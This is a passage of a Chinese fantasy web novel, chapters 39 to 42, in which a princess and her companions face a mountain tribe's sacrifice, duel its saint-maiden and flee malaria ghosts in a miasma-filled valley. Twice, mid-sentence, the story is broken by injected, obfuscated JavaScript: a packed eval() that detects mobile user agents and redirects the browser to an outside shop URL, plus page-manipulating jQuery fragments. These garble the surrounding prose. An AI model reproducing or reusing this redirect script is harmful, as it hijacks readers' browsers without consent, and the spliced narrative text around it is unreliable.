周昭浑身湿透,刚才又被一路拖行,衣裳破破烂烂地紧贴在身躯上,每寸曲线都隐隐约约地显露。洞中光线微弱,在她小巧的下巴上投下一小块阴影,下颌到锁骨的位置线条流畅,白得像玉,那玉石般的光泽一直延伸到层层叠叠的衣领中去。 周昭被他看得不大好意思,微微侧过脸。 都说下颌尖的女子脾性坚韧倔强,这话果然不错。 萧十六的喉结略微动了动,黏着的目光终于收回来,抬起手放在周昭肩上。 一股暖流瞬间传遍全身,周昭转过脸,惊讶道:“十六,你……” “举手之劳,不过你的腰伤只能缓解。” 等他收回手,周昭的衣服已经干了,身上也爽利许多。周昭心里一阵疑惑:“我都快忘了十六会法术,怎地我们在水里险些被淹死,又被野人抓来时,不见他使出来?” 她好奇问道:“十六,你的法力到底到了什么境界?” 萧十六听出她的弦外之音,摸了摸下巴,云山雾绕地解释道:“这个嘛,如果用法术,说不好会被发现。” 周昭道:“被什么发现?” 萧十六难得一笑,随口道:“恶鬼罗刹,怕不怕?” 他的话真真假假,这便是不想说明了,周昭没有追问,也跟着笑道:“好吧,那还是不用的好。但你刚才为我治伤,不打紧吗?” 萧十六又满不在乎道:“无所谓了。” 他们挤在同一张网中,虽然渔网不算小,也是肩膀挨着肩膀,腿贴着腿。周昭身上刚暖和些,十六的体温透过衣料传到她的皮肤上,好似一块寒冰,竟没有什么温度。似乎察觉到什么,十六调整姿势想离她远些,可网内的空间就这么大,不管他怎么调整,都避无可避地会跟周昭贴在一起,十六低低地骂了句该死。 周昭见状,心想十六应该是不愿跟别人挨这么近,于是道:“要是有把刀就好了。” 谁料这话不知怎地触到了十六的逆鳞,他的脸色变得十分难看,一言不发,闭上眼睛假寐了。 周昭一脸茫然,片刻后,小心翼翼地从头上摸了一只发簪,心想:“也不知十六的法术好不好使,以防万一,还是早做打算的好。” 洞内天地不知时辰几何,周昭昏昏睡去,这一觉睡得极好,好似浑身的骨头都睡软了。等她醒来时,周身疲倦一扫而空,又精神抖擞了。 除了脖子有点酸...... 脖子?周昭屏住呼吸,发现自己正以一个十分不雅的姿势,仰躺在一个人形肉垫上。 人形肉垫除了十六还能有谁? 这实在不能怪周昭。 无论是在皇宫还是苍界山,她都是一个人睡在诺大无比的床上,自然没人管她睡姿如何,睡觉要占多大地方的,所以很少人知道周昭其实睡姿奇差。 她心中暗暗叫苦,一时不敢妄动,直到听到头顶传来十六均匀的呼吸声才松了口气,心想:“还好十六没醒,不然真是丢死人了。” 周昭十分小心谨慎地从对方腿上爬起来,又做贼心虚地把他被自己压得乱七八糟的衣服整理好,她刚做完这一切,萧十六便醒了。 他看了眼洞外,声音慵懒道:“寅时了。” 39. 圣女 周昭顺着他的目光看去,狭小的洞口昏暗无比,只有微弱的亮光,跟他们被关进来时并无二致,不由疑惑道:“十六,你是怎么判断是寅时的?” 萧十六促狭地轻笑道:“你那位朋友不是说了吗?我无所不知。” 周昭感觉十六跟之前不太一样,具体哪里不一样,她也说不出个所以然,这人还是一身坚冰,但这块坚冰竟然偶尔也有笑的时候,于是很给面子地附和道:“确实。” “睡得好吗?” 周昭被这么突如其来地一问,忙应道:“——啊挺好,挺好……” 萧十六伸了个幅度不大、十分局促的懒腰,好整以暇道:“用不了多久,就会有人来了。” “十六,你知道他们的祭祀是什么样子吗?” “我也没见过,随机应变吧。” 话音刚落,果然进来了三五个人。 跟昨天不同的是,为首的一个竟然穿着衣服,虽然十分粗陋,看不出是什么面料,但确实是成衣。他的头顶戴着一顶鸟类羽毛做成的冠,五颜六色的,看上去身份与众不同。 这位“鸟兄”睁着那双小而浑的眼睛,将周昭二人前前后后打量一番,同样叽里呱啦说了几句就出去了。 周昭小声问道:“十六,他说什么?” 萧十六摇摇头:“说得太快,没听懂。” 剩下的几名野人听见他们窃窃私语,将铁鞭在石壁上重重击打几下,以示警告。 若是平时,区区几个野人绝不是周昭的对手,但她此行既要找人,还要找疟鬼,就算打翻这几个也无济于事,于是暂且按捺住,任由对方将绳索捆住双手。 等将他们捆好了,野人们解开渔网,拿出一根一人高的木棒,将他们像拴蚂蚱似的捆在上面,又用二指宽、草叶编成的带子覆住双眼,喉间发出一声怪异的叫声,推着他们向前走了。 周昭心道:“这应当就是送他们去祭祀现场,但愿长淮他们一切无事才好。” 脚下是绵软的泥土,踩上去很湿润,甚至有点黏。周昭方向感不算好,只觉得他们被带着东走西绕,很快她便记不清山洞是哪个方向。 雾气萦绕,空气十分寒凉,中间有一段是上坡,没有台阶,因此走得十分吃力。按理说草叶编成的带子虽然厚重,但不如布料绸缎严丝合缝,如果按十六所说,他们被带出来是寅时,走了这么许久的路应当是日出才对,但眼前始终漆黑一片,没有一丝亮光透进来。 “——依啦!” 野人停下脚步,大喊一声,随即更多的声音呼应道:“依啦!” 声势浩大,人声鼎沸。 周昭心道:“不太妙......” 眼前的草叶带子被摘下来,周昭不由心中一震。 奇山怪石,直破云层。 这些高山峻岭上,几乎没有生长任何草木,更像是一座座形状怪异嶙峋的石头山。更让人惊叹的是,山与山之间架着数道铁索,铁索间铺着整齐厚重的木板,他们此刻正站在其中一条铁索上,仿佛立于云层之上,脚下即是万丈深渊。 而在每座山之间的铁索上,都站满了人,男女老幼皆有,无不欢欣鼓舞。 “这就是……行人岭?”周昭忍不住道。 “不错。” 随着众人目光看去,那最大的一座石山中间是被挖空的。与其说是山,不如说是一座凌空而建的神殿。 神殿威仪,金碧辉煌,却在此情此景之下无端显出几分诡异来。 他们脚下的铁索正通向那座神殿,带他们前来的野人推了周昭一把,叫道:“莫!” 周昭猜测这是让他们往前走的意思,她和十六仍被绑在那根木头上,行走并不方便,萧十六此前一直没有出声,这会儿方问道:“小殿下,你有什么打算?” 说实话,周昭也不知道能有什么打算。 萧十六又道:“若是想走,我现在就能带你走。” “不。”周昭摇摇头,“我还没有找到长淮。” 他们越走越近,依稀能看见那神殿之下好像悬着什么东西,等靠得更近些,才辨认出神殿周围竖立着三道长梯,宛若天梯般从神殿延伸下去,一直没入深不见底、云层翻滚的深渊底下去了。 天梯是悬空的,距离崖口尚余一丈,崖口护栏有铁索样式的装置,周昭猜测如果转动滑轮,铁索就会将天梯拉向崖口,只是不知作何用处…… 她忍不住低头往下看,岂料深渊下蓦地出现一双血红的眼睛! “……!”四目相对,周昭骇出一声冷汗,往后跌去,引来那野人狠狠一鞭,擦过她右臂敲在铁索上,喝道:“历那!” 萧十六站定,眉头蹙起,回过头道:“小殿下,你还好吗?” 周昭惊魂未定,低声道:“我看见......那深渊底下有人!” 萧十六道:“不,那不是人。” “你说什么?” 萧十六淡淡道:“是疟鬼。你脚下也并非云层,而是瘴气。” 疟鬼?! 说不害怕是假的,难怪这里的人都要住在群山之间的铁索上,山脚瘴气丛生,凡人绝无可能生存的。 但很快,周昭的注意力就被另一件事儿吸引住了。 只见天梯两侧,高悬着两个木头做的十字架,上面绑着的正是谢景和宁啻! 周昭险些叫出声来,谢景显然也看见了她。 说来不巧,那时沙漠中他和宁啻一脚踩空掉下来,睁眼已经到了此地,被一群哇哇乱叫的野人追了小半日不说,他堂堂黎国皇子竟然就这么被绑了! 谢景从未受过如此奇耻大辱,本来看见周昭安全无恙心下一喜,转眼又模糊看到他们二人皆是被捆住,刚燃起的那丁点儿希望又死了半截儿,面如死灰实在不大好看。不过相隔甚远,周昭是看不到他的表情的,她悄声道:“十六!你看见了吗?” 萧十六懒洋洋地应了一声,看来对救谢景这件事,确实丝毫不感兴趣的。 周昭急切道:“十六,帮帮我。” 萧十六歪着脑袋问道:“你很在乎他们?为什么?” 周昭被他这句为什么问得摸不着头脑,难道十六看不出长淮他们都是自己的朋友吗? 朋友有难,相救难道不是理所应当的事情吗? 周昭忽然想起十六那句“我独来独往惯了”的话,满腔急切都像一拳打在棉花上毫无回应,琢磨半晌,换了种估摸着十六能够理解的方式,低声道:“如果是你被绑,我也会救你的呀。” 萧十六微微眯起那双瞳色浅淡的凤眼,似乎有些不解和茫然,但很快又转变为深刻的反感,这情绪转瞬即逝,掩藏得极好,周昭并无察觉,低声道:“嘘,神殿到了。” 神殿外是一张圆形祭台,祭台上侧躺着一个衣着华丽的少女,她转过身,露出一双冷艳的眼睛。 少女不过十五六岁,却有一双不符合年纪、摄人心魄的碧绿色眼睛。她穿着一身血红色的衣裙,更衬得肌肤如雪,长发未束,一直垂到裸露的足踝,逶迤在这方祭台上。 她先是看了周昭一眼,随即目光落在萧十六身上,眸光流露出几分疑惑,抬起手腕,随侍两侧的 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随着她开始舞动身躯,所有人都朝着神殿俯身跪拜,一时间人群寂静无声。山间云雾缭绕,铁索横生,鼓声和少女的舞姿相得益彰,周昭也不由被震撼,半晌,才问道:“十六,这就是他们的祭祀吗?” 萧十六点点头。 周昭往谢景的方向望去,心中觉得奇怪:“这里不是疟鬼遍地的行人岭吗?为什么会有这么多活人……” 紧跟着,周昭又想到了另一个致命的问题:“既然是祭祀,那祭品——” “不巧,祭品就是我们四个。”萧十六的唇角勾了个很讥诮的弧度。 周昭睁大眼睛,难以置信道:“你是说,祭品是要献给疟鬼的?长淮也是?” 萧十六道:“也可以这么说。” 周昭道:“那得快些了。” 她张开手掌,里面俨然是一根磨得锋利的短钗。这本来是她在山洞里睡觉前打磨的,用来割开鱼网,后来没有用上,周昭便一直把它藏在手心里。 “瞧。”周昭眉眼弯弯,得意道,“十六,你掩护我。” 好在那根绑住两人的木头已经被取下来了,加之现在所有人的注意力都在圣女身上,根本没有人关注他们。 周昭将那短钗握在手里,三两下就割断了绳索,正准备给十六松绑,发现对方早已神不知鬼不觉地解开了。 周昭心道:“这法术果然好用,等回了苍界山,一定要让师父教我。” 二人对视间,不由心领神会。 周昭心中说了句罪过罪过,飞身而上,直奔祭台! 她的动作实在快如闪电,不过眨眼间,正在起舞的圣女就被她擒住。 “呀!!!” 鸟兄发出一声尖锐的叫声,所有跪拜的人无不抬起头,面容惊恐暴怒,摩拳擦掌就要冲上来。 那边萧十六也轻而易举地制服了周围几个野人,周昭向后退开,短钗抵在圣女脖颈,沉声道:“这位姐姐,我不想伤害你,还请你放了我的两位朋友!” 她一着急,忘记了语言不通是件大麻烦事儿,只好喊道:“十六!你会不会说他们的语言?” “你想让我放人?” 怀中一个轻飘飘的声音传来。 周昭一愣,一只冰凉的手摸上她握住短钗的手,就好像一条蛇摇着蛇尾缠上来。 那一瞬间,周昭情不自禁起了一身鸡皮疙瘩,而那只手则毫不犹豫地对准自己胸口刺下去。 周昭骇住,右手力道用力往回一收,电光火石间,对方反手拧住她手腕,将短钗往前送去! 40. 打架 这一下伤不了周昭,但足够少女脱身。 对方灵巧地跳开几步,复开口说道:“真有趣。” 她假意自戕,打了周昭一个措手不及,又反过来想置周昭于死地。但这一招赌注实在是大,若换做别人没有及时收手,难保不会血溅当场。也不知少女是算准了周昭不是真要杀她,还是一点儿也不在乎,对自己下手时又狠又准,脱险时也依旧波澜无惊,一派老成模样。 周昭惊讶道:“你会说中原话?” 圣女脱身,左右再无顾忌。四面八方的铁索发出震天响动,几乎山谷里所有的人都朝这里涌来。 少女向后退去,看向手中那只短钗,歪了歪头,轻声道:“脏了。” 方才周昭收手时力道太大,短钗划破了她的掌心,此时那只钗染上几滴鲜血,被少女轻轻拭去,随即懵懵懂懂地摸索着,将钗插在随手绾成的头发上。 “好看吗?”她问周昭。 周昭被众人围攻,却恰巧听见了这么一句,她触碰到少女的目光,竟不由自主地停下动作,点头附和道:“……好看、真好看。” 少女朝她伸出手,周昭的目光仿佛被吸进那双眼睛里,她什么也听不见了,眼前唯有那只染血的短钗。 周昭缓步向前,喃喃细语道:“真好看……” “小殿下!凝神!”萧十六一边破敌,一边将周昭往身后一推,周昭登时耳清目明,面容染上一片绯红,心道:“我竟受了蛊惑,看来那双眼睛实在厉害,不能多看。” 圣女看向萧十六,沉思片刻,突然眉眼带笑道:“哦,真有趣。” 她这话说得奇怪,周昭实在不懂有什么趣。少女抬起右臂,不知说了句什么,向神殿方向涌来的人突然停下了脚步,就连围攻他们的人片刻后也都放下了武器。 正纳闷间,只见少女指了指萧十六,道:“我和你,单打。” 萧十六不耐烦地啧了一声,少女又指着他道:“我要和你打。” 她说的不是“想”,而是“要”,这种命令的语气让人听了不大舒服,但放在少女身上,又会让人觉得她天真烂漫,不忍责怪了。 周昭小声道:“十六,你真要和她打吗?” 萧十六道:“我赢了,你放我们走。” 少女爽快地拍拍手,她正要动手先发制人,突然又停下,赤着脚走到周昭面前。 周昭实在是怕了她那双眼睛,左右躲闪间,看见少女白嫩的掌心在她面前摊开,道:“帮我绾头发。” 她应当是不大会绾发的,那只短钗已经掉了,发丝也垂在脸侧随风而动。周昭哭笑不得,想了想还是拿起她手心的短钗,又从自己头上摸了根长簪:“这个太短,用我这个,好吗?” 少女眼前一亮,点点头,然后转身背对周昭,道:“我要像你那样漂亮的样子。” 萧十六愈发不耐,脸色阴沉道:“你到底打是不打?” 少女看上去毫无防备之心,她比周昭矮些,因此周昭正好能站在一个合适的角度,她并不熟练地替少女勉强绾了个发式,用簪子固定住:“好了。” 少女伸手摸了摸,似乎很满意,也没有对周昭道谢,径直走开了。 周昭心道:“这位姑娘倒有几分孩童心性,如此年轻就当上了一族圣女,想必武艺高强,不容小觑。” 她有些担心地看向萧十六,只见对方神态自若胸有成竹,于是放心大半,静待观战。 “来。”少女傲慢道。 二人很有默契地一齐动手,萧十六惯不用兵器,那少女亦是赤手空拳。只见一红一白两个身影交错,神殿之下众人屏气凝神,皆不敢高声语。 少女身姿灵巧,却招招不留余地。但几个回合过后,周昭便断定她功力在十六之下,不出三招必败。 果不其然,一招过后,少女便被逼得连连后退。眼看败局已定,一条银色长鞭凭空出现在她手中。 ——啪! “十六!”周昭惊呼道。 这一鞭虎虎生风,凌厉非常,且又出其不备,萧十六欲擒住她的手只好收回,但那长鞭挟风带刺,堪堪擦着他的鬓边飞过,一个闪身,丝丝鲜血顺着他的面颊流下。 周昭怒道:“你耍赖!” 其余众人欢呼道:“依啦!依啦!” 少女咯咯笑道:“如何?” 萧十六抬起右手,将血丝抹干净,点头道:“嗯,不错。” 周昭:“?” 他难道是在点评吗? 少女道:“再来!” 说罢,又是一鞭飞出! 只见少女身形跃动,银鞭纵横翻飞,让人眼花缭乱。长鞭所到之处,尘土飞扬,遇石则劈,遇木则断! 眼见来势汹汹,周昭心急如焚,却不敢贸然出声,心道:“这样打下去怕是不妙……” “就学了这点儿本事?”萧十六左右避之,在这漫天鞭花中似是游刃有余,不忘出言嘲讽。 少女似乎被这话激怒了,柳眉倒竖,扬鞭而起,叫道:“看你如何接住!” 周昭一颗心提到嗓子眼儿,却见萧十六身形未动,不躲不避,忍不住道:“当心!” 眼看长鞭已经直逼面门,萧十六眸光微变,右手突然反手一抓,竟生生将鞭截住,随即猛地一拽,下一刻少女的脖颈已经被他掐住,轻笑道:“又如何?” 银鞭上布满倒刺,他这一抓手上皮肉都被剐了下来,可见下了十足的狠心。 周昭蹙眉不忍,众人亦不敢置信。 少女脸色涨得通红,倔强地别开脸。 萧十六却不肯放过她,大掌用力收紧,另一只鲜血淋漓的手则掐住她的脸颊,强迫她面向神殿,逼问道:“放不放人?” 萧十六松开些力道,少女先是猛烈地咳了一阵,继而说道:“不放。” 萧十六毫不意外地轻笑一声:“我也知你不会放,不如掐死好了。” 他语气轻松平常,不知是玩笑还是认真,周昭却呼吸一滞,少时情形在脑海里呼之欲出,心想:“这女子虽绑了长淮,却不至于死。” 与此同时,一道灵光自少女右手飞出,她叫道:“天地归宗,祭鬼拜神,放!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689752|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两道十字架上的绳索应声而落,谢景大叫道—— “阿昭!救我!!” 长淮! 这一切发生得太过突然,周昭只觉一股血热辣辣地冲上头脸,脚踏祭台一跃而起,等她反应过来已飞身至崖口。 周昭余光只见有两道人影冲来,但她动作极快,翻进崖口护栏将铁索全部放开,刹那间,只听轰隆一声巨响,其中一根天梯正缓缓靠岸。 “你疯了!” “小殿下!” …… 无数声音接踵而至,神殿前顿时陷入一片混乱。周昭瞅准时机,抓住一根铁索荡向天梯,脚下便是深渊! 云层翻滚,她根本看不清谢景在哪儿,便使出浑身力气喊道:“长淮!宁兄!” 周昭刚沿着天梯向下踏了几个台阶,便听见云层之下嘶吼阵阵,紧跟着她所在的天梯开始剧烈晃动。 什么东西?! 周昭转念一想,深渊下还能有什么东西! 她突然意识到自己可能犯了一个巨大的错误,而后,在她头顶一个声音道:“小殿下,手给我!” 周昭低头看了眼深渊,倔强道:“不,我要去救长淮!” 她果断地又向下走了几步,天梯却在此时开始向谷内倾斜,周昭抬起目光,崖口边少女的脸满是怨气,她恨恨道:“你这女娃不知轻重,竟敢私放天梯!” 她一边说着一边做法将铁索断开,若铁索一断,天梯必倒!萧十六催促的声音传来:“上来!” 若她此刻走了,长淮他们怎么办? 周昭一咬牙,将那根铁索在右臂缠了几缠,萧十六看出她要做什么,那双惯常无波澜的眸光里闪过一丝惊讶,更多的则是不解。 少女站在崖边,红衣翻滚,抬了抬下巴道:“哼!不如你们一起下去!” 砰! 说罢,她抬手一挥,铁索彻底断开,另一端簌簌地向深渊滑去。 周昭当机立断,拉住那根铁索,踩着那根渐渐倒入谷底的天梯疾步飞驰,好似林间飞鸟,让人看了忍不住叹一句好俊的轻功! 等那根铁索彻底掉进深渊,周昭手上一松,心里忍不住尖叫道:“父皇母后哥哥们保佑!” 她双目闭紧,耳畔是摧枯拉朽般的轰隆巨响,等待中的疼痛却并没有到来,短暂的耳鸣过后,周昭一睁眼,发现自己还好端端地站在天梯上。 ——我还活着? 周昭向上一看,不看还好,这一看险些三魂丢了七魄。 只见一双血红色的眼睛正好奇地盯着她,而那双眼睛的主人身高九尺有余,一只手扶着只剩小半截儿的天梯,另一只手正欲向周昭伸过来! 周昭只觉头皮发麻,她跳下天梯撒腿就跑。没跑几步就迎面而来一个巨大无比的血池,里面气泡翻滚,除此之外还有两个十分不和谐的血人。 其中一个血人摇摇晃晃站起来,抬手一抹,露出一张满是愤恨惊喜各半的脸,一张嘴,露出一口白牙。 “阿昭!” 周昭喜道:“长淮你还活着!太好了,快跑!” 41. 逃跑 周昭路过血池,一把将里面另一个血人拽起来丢给谢景:“交给你了!” 谢景:“?” 谢景背着早已昏过去的宁啻在谷底狂奔,他并不知道为什么要跑,只知道周昭让他跑他就跑了。 等跑了一段儿,才反应过来,问道:“阿昭,我们跑什么?” 周昭道:“你要不要看看后面有什么?” 谢景回过头张望,愈发摸不着头脑,道:“后面有什么?什么也没有啊……” “什么也......”周昭闻言脚下一滑,她转身,身后竟真的空无一人。 周昭只觉毛骨悚然,明明刚才还有那么大一只疟鬼想抓她,现在竟然不见了! 谢景被绑在半空吊了一夜,又背着宁啻狂奔了这么久,早累得气喘吁吁,干脆将人往地上一放,双手一摊大咧咧坐下,道:“歇歇!歇歇,累死本殿下了。” 周昭也有些累了,却不敢歇,问道:“长淮,你可知这是什么地方?” 谢景抹了把脸上的汗珠子,却见满手血污,有点嫌弃地蹙眉,答道:“还能是什么地方?野人窝呗!我也是倒霉!鬼知道他们那个池子泡了多少死人,臭死了!” “要是没那个池子,你们估计已经摔成肉饼了。”周昭道,“这是行人岭。” “哦,叫行人岭。”谢景弹起来道,“什么?!行人岭!” 周昭心想,看来并没有人跟谢景他们说过这是哪儿,轻声揶揄道:“是啊,我的谢景殿下,这儿就是行人岭,你们刚才掉下来难道没看见疟鬼吗?” “……没有。” “罢了,总之这儿就是行人岭。”周昭抬手一指,“上头那位姑娘是要把你们——” 坏了!周昭言语一顿,光顾着逃命,忘记十六还在上面。她抬头张望,但瘴气重重,什么也看不见。 “怎么了阿昭。” 周昭皱眉道:“……十六还在上面,刚才我们打斗时,那姑娘斩断铁索弄毁了天梯,不知道他现在怎么样了。” 谢景道:“放心好了,那位朋友那么厉害,说不定现在已经走了。” 周昭心中祈祷最好是这样,又隐隐觉得十六不会抛下他们不管,思来想去间,一个沉重的脚步声自他们身后传来。 不,不是一个脚步声,而是数十个脚步声! “什么声音?”谢景向后望去,不由骇了一跳,只见一排身材无比高大的怪东西低垂着脑袋正向他们涌过来,他不由咽了咽口水,“阿昭,那个……那个不会就是疟鬼吧?” 疟鬼追上来了! 他们披头散发,身上无一例外都长满了密密麻麻的红虫子,还在不停地往外蠕动。 周昭不禁一阵恶寒,道:“先离开这里再说!” 周昭就知道这东西不会轻易放过他们,谢景此刻头脑清醒大半,当即一把抓起半死不活的宁啻甩到自己背上,周昭道:“你们走前面!” 他背着一个人必定走得慢些,如果被疟鬼追上可不是闹着玩儿的,周昭这是要断后的意思,谢景只恨自己当初偏偏信了他这表哥,面色凝重地看了她一眼,当下也没有更好的法子,只道:“好,拿着我的剑。” 好在他们被绑起来时,没有把剑也一并剿了去,周昭也不啰嗦,从他腰间抽出剑来,应道:“走!” 周昭护着二人脚步匆匆往林间走去,这一路可谓畅通无阻,等走了百余步,周昭突然停下,道:“不对劲。” 谢景回过头,道:“阿昭,怎么了?” 不消周昭说,谢景也发现哪里不对劲了。他背着一个人本就走得不快,按理说疟鬼很快就能追上他们,但如今身后竟又空无一人了! 谢景自言自语道:“怪事!” 周昭摇摇头道:“我看不是怪事,也许是他们走路很慢呢?长淮,你有听说过疟鬼行动迟缓吗?” 谢景道:“没听说,这东西寻常人也不好见到吧。如果表哥醒着,说不定知道些。” 周昭心道:“如果十六在,肯定也知道。” 这是跟疟鬼第二次打照面儿,第一次周昭从天梯上掉下来,疟鬼竟能一只手就扶住半截天梯外加天梯上还有一个她。周昭心中惊骇,第一反应自然是逃跑。 第二次他们又被成群结队的疟鬼吓得不轻,想来这两次竟都没有好好观察过,传说中的疟鬼到底是什么样子。 周昭道:“我们太着急了,是与不是,看看就知。” 谢景没有反对,只是问道:“阿昭,你是说我们不跑了?” “先不跑了,这里瘴气蔽日危险重重,我们总不能一直逃,再说我们此行另外一个目的不就是要抓到疟鬼吗?跑也没用。” 谢景赞同道:“好,都听你的。” 他们先是将宁啻放在一个相对隐蔽的地方,然后躲在一旁静静地等着,过了不多时,果然又听见那阵沉重而又缓慢的脚步声传来。 是了,缓慢。 这是他们前两次都没有注意到的地方。疟鬼虽然身材高大,行动却十分迟缓,为首的那个就是刚才要抓住周昭的,他的手里还握着小半截天梯,那梯子是用巨木搭建而成,就连中间的横梁都有大腿粗,可他握在手中却十分游刃有余,好像拿着什么好玩儿的东西,在地上拖行出轰隆轰隆的声音。 此时离得近些,周昭才注意到他们头脸竟不像人皮,而是像一层厚厚的树皮般凹凸不平,那些密密麻麻的红色虫子就在这些沟壑间穿行蠕动,几只虫子正从他那双血红色的眼睛里爬出来。 “太恶心了!”谢景强忍不适,低声道。 “长淮,你有没有觉得,也许这些疟鬼对普通人确实恐怖,但对于我们,似乎并没有什么攻击力。” 谢景思索道:“没错,疟鬼最厉害的就是让疟虫吸取活物精魄血液,可我们掉进这里这么久,并没有疟虫靠近,师父给我们的清风露果然有效。” 谢景口中所说的清风露,正是江梅棠研制的,虽然无色无味,但疟虫闻到了只会觉得臭气熏天味同死尸,而疟鬼是只吃活物的,所以绝对不会靠近他们。 周昭点点头,道:“这样就好办了,我们——” 周昭话没说完,只觉眼前一个什么东西突然蹿出去了,她正欲发问,只听见那个“东西”喊道: “阿昭!不如我们一起杀掉疟鬼,为民除害!” 周昭:“......” “啊!!!” 谢景信心满满地冲了出去,然后以一个及其不体面的方式,被为首的疟鬼一天梯就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694772|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抡了回来。 “长淮!你没事儿吧?”周昭匆忙赶到他身边,谢景摸了摸胸口,只觉刚才那一下把他五脏六腑都打散了,但他是自己冲动跑出去,再痛也碍于面子强忍住,脸色铁青,答道:“没事儿。” 那群疟鬼本来走得极慢,离他们尚且有一段距离,此时突然停下,无不睁大眼睛左右张望,似乎在寻找刚才到底是什么东西偷袭。 谢景越想越气不过,索性大声骂道:“这东西不是行动迟缓吗?!本殿下还没靠近,他怎么发现的?” 话音刚落,疟鬼们齐刷刷地朝这边望过来! 周昭率先反应过来,一把捂住他的嘴,但已经来不及了。 只见成群结队的疟鬼们不约而同朝着他们的方向走来,更可怕的是,他们的速度好像突然之间加快了。先是大步疾行,后面干脆小跑了起来。一时间山谷中仿佛天塌地陷,脚步声震耳欲聋。 谢景扒开周昭的手,惊道:“见鬼了!” 周昭抓起刚才谢景被打飞的剑,抬手一指,道:“先往那边跑!” 无论如何不能让疟鬼发现宁啻。谢景心领神会,二人立刻起身往相反的方向跑。这回是真的逃跑了,身后的疟鬼不知道为何突然暴走,速度之快,彷佛刚才的行动迟缓都是伪装的一样。谢景和周昭越跑越急,但不管他们怎么跑,都无法甩开身后的疟鬼。 “阿昭!这到底怎么回事儿!” “我也不知道!总之,先引开他们再说!” “好!” 谢景边跑边回忆刚才到底是哪里出了问题,难道疟鬼是被他偷袭刺激到了?他正百思不得其解,忽然间,一棵参天大树轰然倒塌,还好谢景躲避及时,才没有被砸成肉饼。他愤愤道:“真是出门没看黄历!” 话音刚落,一个足有人脸那么大的蝎子从树干里面爬出来,高高翘起的蝎尾甚至有幼童小臂粗细。它先是后退半步,然后突然跃起,周昭叫道:“小心!” 谢景拔剑斩之,蹙眉道:“真恶心!” 蝎尾和蝎身断开,流出深绿色的液体。但更离奇的事,那只蝎子被斩成了两半,竟然还能活动,剩下的半截身体钻进土里不见了,只留下那根蝎尾。 周昭道:“这东西说不好有毒,长淮,我们不能再往前面跑了。” 再往前走就是密林深处,瘴气更深,遇到的毒物也会更厉害。谢景把剑上留下的黏液在树皮上蹭干净,回头道:“那怎么办?疟鬼追上来了。” “让我想想......”周昭道,“你刚才突袭时,疟鬼都没有看清你,却精准地捕捉到你的方位。刚才我们躲在草丛里面时,明明离得很近,他们却看不见我们,直到你大声说了句话,我们才被发现。是不是可以推测,疟鬼其实......眼神不好,听力很好?” “阿昭,你说得有道理。”谢景诅丧道,“怪我大意!我不应该那般冲动。” 周昭摇摇头,安慰道:“兴许开始疟鬼根本没发现过我们,一直是我小题大做了。” “既然他们眼神不好,我们想想怎么从他们眼皮子底下溜走?” “不,我们不跑了。” 疟鬼已经逼上来,没有时间可以再拖延了。 “长淮,我们抓鬼吧。” 42. 抓鬼 “抓鬼?” 谢景一听这两个字便眼神放光,浑身痒痒,他这一路实在憋屈,早就想将眼前这些东西除之而后快。他从怀里摸索出一只绣着海棠的锦囊,摸了摸胸口道:“还好还好,这东西没被那小妖女抢了去。” 可怜宁啻带的行李都被野人搜刮了去,这只海棠锦囊却是谢景贴身装的,才得以幸免。 谢景将那装着疟虫的琉璃瓶拿出来,谨慎道:“阿昭,这儿这么多疟鬼,万一我们要抓的那只不在里面,贸然将疟虫放出来,若是跟丢了,岂不是竹篮打水一场空?不如你拿着它,我来将这些鬼东西引开,届时你找到疟鬼再放出信号,我来寻你,如何?” “好是好,可是......” 谢景知道她在担心什么,不由分说地将琉璃瓶往她怀里一塞:“别可是了,等他们追上来我们一个都走不了,难道你信不过我吗?” 他冲周昭眨眨眼睛,将她往外推了推,复说道:“放心吧阿昭,我不会有事的。” 现下没有再给她多余的时间犹豫,这确实是最好的办法,周昭点点头,眸光同样坚定,应道:“好,那我去了,万事小心。” 周昭小心翼翼地打开瓶口,那只疟虫先是在瓶底绕了一圈,然后扇扇翅膀飞走了。他们二人紧紧盯着眼前发着红光的小虫子,再一眨眼间,那只疟虫果然绕过紧随其后的疟鬼向更前方飞去了。 周昭回头看了眼谢景,对方正将举起手中剑,长眉竖起,叫道:“小爷今天心情好,陪你们玩玩儿!” 轰! 他劈开一棵碗口粗细的大树,一时尘土飞扬,疟鬼们无不被这些的动静吸引,哇哇乱叫地扑将过来。 周昭乘势从侧方一闪而过,那只疟虫上下翻飞,她只得步步紧逼,若是在这林间跟丢了,再找回来几乎不可能。周昭跟了半炷香时间,突然觉得不对劲,前面的小东西就好像知道身后有人跟随,带着她在这地方东绕西绕,就是不肯再往前飞了。 难道疟虫还会护主吗? 周昭心下疑惑,只好放慢步伐,尽量轻些慢些不让疟虫察觉,但林间落叶缤纷,踩上去便会发出簌簌的响声。她眼底划过一丝懊恼,此时一阵微风吹过,树叶沙沙作响,掀起一股腥臭味儿直直地钻进她的鼻子里。 这味道实在难闻......周昭蹙了蹙眉,忽然心里一喜。 她足尖轻点,眨眼间,便飘飘然地落在离地面一丈有余的树干上了。 东南有风,正是好时机! 周昭眼神一刻也不敢离开那只狡猾的疟虫,风过而身动,谁还能辨认出是她在枝头穿行的声音还是风声呢? 果然,疟虫在原地转了几圈,又往后飞了几圈,像是终于确定甩掉了身后的麻烦,一头扎进密林。 